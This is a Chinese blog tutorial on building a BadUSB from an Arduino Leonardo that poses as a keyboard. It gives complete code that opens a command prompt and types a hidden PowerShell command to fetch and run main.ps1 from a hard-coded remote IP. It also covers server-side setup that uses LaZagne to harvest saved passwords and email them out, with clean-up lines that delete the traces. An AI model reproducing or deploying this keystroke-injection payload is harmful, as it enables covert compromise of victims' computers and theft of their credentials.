简易BadUsb教程

就老去吧 孤独别醒来!
1

Badusb简介

BadUSB是USB的一款严重漏洞。攻击者可利用该缺陷,在有效且不被检测到的情况下,悄悄地植入恶意软件。利用原理

HID攻击

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

制作过程

Badusb淘宝上有已经做好的,只需要买来植入自己的代码即可。条件好的朋友可以买

usb Rubber Ducky–橡皮鸭。淘宝是880,hack5里面种类丰富一点,我农民只能用淘宝的了。

前期

先下载一个Arduino
界面如下:

badusb
在插入badusb后,选择工具–>选择板–>选择Arduino Leonardo,把以下代码复制进去。

  #include <Keyboard.h>
  void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD");
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(3000); 
  Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://114.67.129.199/main.ps1') ");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
   Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD");
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(3000); 
  Keyboard.println("powershell  -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://114.67.129.199/main.ps1') ");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

wing
这两个箭头分别是编译和上传。
下面就是服务端的设置了,代码是参考一篇博客的,但是他把exe换成rar,躲避杀软,可能是他的lazagne有问题吧,我测试没成功,用的是我自己上传的lazagne成功的。
文件下载地址:wing

wing
下载这四个文件

中期–修改代码

在main.ps1文件中把打马赛克的地方换成你自己服务器ip

wing

wing
这里很重要,不然你做的功夫都是白费。
这里是你的邮件配置。System.Net.NetworkCredential函数里面填邮箱和密码。
GetPass.ps1文件修改

wing
打马赛克的地方需要修改

#remove-item 'D:\GetPass.txt'

#remove-item 'D:\Get.exe'

这两行代码我为了测试给注释了,意思就是执行成功后就remove。

测试

插入badusb
演示图太大传不上来,地址:https://mega.nz/#!9W5Q1TrJ!WLHLMIBL1VpOmLSEJmUmm6S1nof0QPMXwcL84uIiIfM
你看到一个黑窗口一闪而过就可以了。
执行后,我用wireshark抓包,确实在和我服务器通讯。
wing
过了30s左右,我D盘出现了这两个东西。

wing

最尬的一步就是最后发送email,应该是我邮箱那里配置出了问题,不知道是不是smtp587端口有问题,还在测试,买了两个badusb,有一个好像被我插坏了。QWQ!
下面是一些常用的键,可以自己diy设计出你想要的功能。

delay(5000);//延时毫秒

Keyboard.begin();     //开始键盘通讯
Keyboard.end();     //结束键盘通讯
Keyboard.press();     //按下键盘按键     如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release();     //释放键盘按键
Keyboard.println("");     //输入字符串使用双引号括起来


Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
Mouse.isPressed();// 

KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI    //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

   转载规则


《简易BadUsb教程》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
she11ter she11ter
我们在时光交错中偶然碰头,不曾想你会转身就走! 0X00 简介shellter是一个开源的免杀工具,动态注入shellcode,继而实现免杀! 0X01 安装apt-get install shellter 0X02 演示命令行输
2017-09-28
下一篇 
win10完美安装.net3.5 win10完美安装.net3.5
待君归携手红尘去,待火桑落后我亦归去. 因为以前的一些个tool,都需要net3.5的支持,没有个人觉得不方便,但是安装.net3.5会出现很多玄学问题。在线安装和离线安装都GG,绝望之中看到一个用dism++安装的方法,才得以解决。
2017-09-11
  目录